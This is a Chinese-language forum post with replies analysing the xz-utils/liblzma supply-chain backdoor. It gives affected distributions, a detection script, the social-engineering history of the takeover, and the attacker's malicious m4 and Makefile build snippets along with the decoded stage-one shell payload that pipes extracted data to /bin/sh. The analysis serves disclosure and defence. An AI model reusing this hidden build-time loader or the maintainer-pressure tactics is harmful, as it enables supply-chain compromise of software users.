默认安装于每个Linux发行版中的Xz/liblzma被植入后门程序

今天 Linux 社区最关注的事情就是 xz-utils (以前被称为 LZMA Utils) 项目被植入后门的事情,xz 是被 Linux 发行版广泛使用的压缩格式之一,xz-utils 是一个开源项目,2022 年起有个名为 Jia Tan 的账号开始向该项目贡献代码,然后逐步接手该项目成为项目的主要贡献者。
日前该项目被发现存在后门,这些恶意代码旨在允许未经授权的访问,具体来说影响 xz-utils 5.6.0 和 5.6.1 版中,而且这些受影响的版本已经被多个 Linux 发行版合并。

简单来说这是一起供应链投毒事件,攻击者通过上游开源项目投毒,最终随着项目集成影响 Linux 发行版,包括 Fedora Linux 40/41 等操作系统已经确认受该问题影响。

  1. 或直接编译安装可能使用到受影响的组件,但其利用过程判断了只有x86/64下的Linux环境才会触发,因此不会被利用。

  2. 存在一些利用条件包括:

  3. 命令行参数argv[0]为/usr/sbin/sshd

  4. 未设置TERM、LD_DEBUG、LD_PROFILE环境变量

  5. 包含LANG环境变量

  6. 直接编译的openssh没有依赖liblzma,不受影响,而Ubuntu等系统发行版中通过systemd管理的版本通过libsystemd依赖了liblzma.so,受到影响。

目前已知的受影响发行版仓库

  • Fedora Rawhide
  • Debian unstable
  • Alpine Edge
  • homebrew,当前已经回滚至5.4.5(bottled)、5.4.6版本
  • 其他滚动更新的发行版,包括 Arch Linux / OpenSUSE Tumbleweed, Kali Linux
  • 其他待发布的版本,如Ubuntu 24.04 LTS 已经移除风险版本xz、Fedora 41 redhat已发出通告

排查处置方式

排查方式

  1. 使用 ssh -V 和 xz --verison 判断系统是否同时使用了 OpenSSH 和受影响版本的 liblzma;

  2. 如果使用了受影响版本的组件,可使用下面脚本判断是否存在后门(由于编译器的不同,基于二进制签名的方式可能存在漏报):


#! /bin/bash

set -eu

# find path to liblzma used by sshd
path="$(ldd $(which sshd) | grep liblzma | grep -o '/[^ ]*')"

# does it even exist?
if [ "$path" == "" ]
then
        echo probably not vulnerable
        exit
fi

# check for function signature
if hexdump -ve '1/1 "%.2x"' "$path" | grep -q f30f1efa554889f54c89ce5389fb81e7000000804883ec28488954241848894c2410
then
        echo probably vulnerable
else
        echo probably not vulnerable
fi

处置方式

当前GitHub仓库已经被关闭,建议降级至5.6.0以前的版本(如5.5.2 beta、5.4.6 stable)进行修复。

后门投毒方法分析

攻击者在代码中投毒的文件包括:

  • bad-3-corrupt_lzma2.xz 和 good-large_compressed.lzma:新引入了两个数据文件作为测试用例,实际上作为恶意payload使用

  • /m4/build-to-host.m4文件:额外引入了gl_[$1]config='sed "r\n" $gl_am_configmake | eval $gl_path_map | $gl[$1]_prefix -d 2>/dev/null’命令,从而生成恶意的构建代码

当存在$srcdir/debian/rules文件或$RPM_ARCH环境变量设置为x86_64时,才会在./src/liblzma/Makefile中释放恶意的编译逻辑,因此只影响deb、rpm包。

而./src/liblzma/Makefile中恶意的编译逻辑包括:

am__test = bad-3-corrupt_lzma2.xz
am__test_dir=$(top_srcdir)/tests/files/$(am__test)
sed rpath $(am__test_dir) | $(am__dist_setup) >/dev/null 2>&1

变量替换后实际执行如下:

sed rpath ./tests/files/bad-3-corrupt_lzma2.xz | tr "\t \-_" " \t_\-" | xz -d 2>/dev/null

在5.6.1版本中的payload解码后如下,其中第3-7行的系统内核判断只存在于5.6.1版本payload。

####Hello####
#�U��$�
[ ! $(uname) = "Linux" ] && exit 0
[ ! $(uname) = "Linux" ] && exit 0
[ ! $(uname) = "Linux" ] && exit 0
[ ! $(uname) = "Linux" ] && exit 0
[ ! $(uname) = "Linux" ] && exit 0
eval `grep ^srcdir= config.status`
if test -f ../../config.status;then
eval `grep ^srcdir= ../../config.status`
srcdir="../../$srcdir"
fi
export i="((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +939)";(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31233|tr "\114-\321\322-\377\35-\47\14-\34\0-\13\50-\113" "\0-\377")|xz -F raw --lzma1 -dc|/bin/sh
####World####

通过执行make命令,payload得以被执行,生成最终投毒注入代码,而在5.6.0版本中good-large_compressed.lzma文件可能存在问题,导致解码失败。

构建过程会生成恶意的liblzma_la-crc32_fast.o、liblzma_la-crc64_fast.o对象文件,在crc32_resolve()函数中加入了cpuid的指令用于判断指令体系架构。

在后续的利用,后门代码还会通过hook劫持openssh中用于公钥认证的RSA_public_decrypt函数,在经过自身处理后再返回给正常验证流程,其具体逻辑还有待分析验证,存在ssh认证绕过的风险。
溯源分析

投毒者准备时间长达两年

XZ-Utils 有两名维护者:Lasse Collin 和 JiaT75,其中 Lasse Collin 自从 2009 年以来一直维护着 XZ-Utils 库,Jia Tan 在 2022 年才创建Github账户,并于4月19日通过邮件列表提交了一份补丁。

随后,名为 Jigar Kumar 的用户开始向 Lasse Collin 施压,于5月7日发邮件声称自己由于 Lasse Collin 对项目维护不积极感到不满,要求尽快合并个补丁。

Lasse Collin 也回复邮件说明自己并没有失去对维护项目的兴趣,只不过自己有长期的心理健康问题:

之后,Jigar Kumar 将 JiaT75 设为了新的项目维护者,并再也没有出现。

JiaT75于2024年2月24日在Github上发布投毒版本之后,debian 社区中名为 Jonathan Nieder 的开发者提出了将问题版本包含在 Debian 中的请求:

可疑的是,Jonathan Nieder 这个账户刚注册还不到一周的时间,通过创建了一些类似的“更新”的请求提高账号的可信度,类似的账号还有misoeater91 和 krygorin4545等,这些长期不活跃的用户默契地积极推送新版本的合并。

同时Jia Tan账户积极将恶意版本推送至 Fedora 和 Ubuntu 的bate版本中,一系列可疑的行为被社区维护者发现并曝光。当前,上述账户已被Github和Linux社区关闭,Jigar Kumar 也没能幸免。

11 个赞

我艹 是真的那就牛逼呀 xz用的很广泛

2 个赞

吐司即视感


3 个赞

看了下别人分析的投毒过程,真的非常险恶,时间点也抓得很好,如果不是被意外地发现,就是超级事故了

3 个赞

还好,发现的早,影响不大,回滚下就好

3 个赞

“新引入了两个数据文件作为测试用例”
释怀地笑了

3 个赞

还好没有升级

3 个赞

这就是版主的实力

3 个赞

这个投毒的人好心机啊

3 个赞


能用,绝不去动它:laughing:

4 个赞

苦心人,被天负

3 个赞

省流概括:

1.攻击者 JiaT75 (Jia Tan) 于2021年注册了 GitHub 账号,之后积极参与xz项目的维护,并逐渐获取信任,获得了直接 commit 代码的权利。

2.JiaT75 在最近几个月的一次 commit 中,悄悄加入了 bad-3-corrupt lzma2.xz和good-large compressed.lzma 两个看起来人畜无害的测试用二进制数据,然而在编译脚本中,在特定条件下会从这两个文件中读取内容对编译结果进行修改,致使编译结果和公开的源代码不一致。

3.目前初步的研究显示,注入的代码会使用glibc的IFUNC 去 HookOpensSH的 RSA public decrypt 函数,致使攻击者可以通过构造特定的验证数据绕过 RSA 签名验证。(具体细节还在分析中)

4.只要是同时使用了 liblzma和 OpenSsH的程序就会受到影响,最直接的目标就是 sshd,使得攻击者可以构造特定请求,绕过密钥验证远程访问。

5.受影响的 xz-utils 包已经被并入 Debian testing 中进行测试,攻击者同时也在尝试并入 fedora 和 ubuntu。

6.幸运的是,注入的代码似乎存在某种 Bug,导致特定情况下 sshd 的 CPU占用飙升。被一位安全研究人员注意到了,顺藤摸瓜发现了这个阴谋并报告给 oss-security,致使此事败露。如果不是因为这个 Bug,那么这么后门有不低的概率被并入主流发行版的stable 版本,恐怕会是一件前所未有的重大安全事件。

另外从一些细节能看出来攻击者非常用心:

攻击者抢在 ubuntu beta freeze 的几天前才尝试让新版本并入,以期望减少在测试期间被发现的时间。

xz-utils 项目的原维护者 Lasse Colin(Larhzu),有着定期进行internetbreaks的习惯,而且最近正在进行,导致这些变动他并没有review的机会,即使到现在也没能联系上他本人。这可能也是攻击者选定xz-utils 项目的原因之一。

2 个赞

这个前两天的事情了吧 然后听说是因为水代码了 才暴露了 再GitHub潜伏3年之久

1 个赞

看完下来觉得选 ubuntu lts 不错

1 个赞

发现bug

1 个赞

新闻网络安全

啥是internalbreaks

1 个赞

账号下线 :joy:

1 个赞

学到了 :hugs:

1 个赞

internetbreaks

1 个赞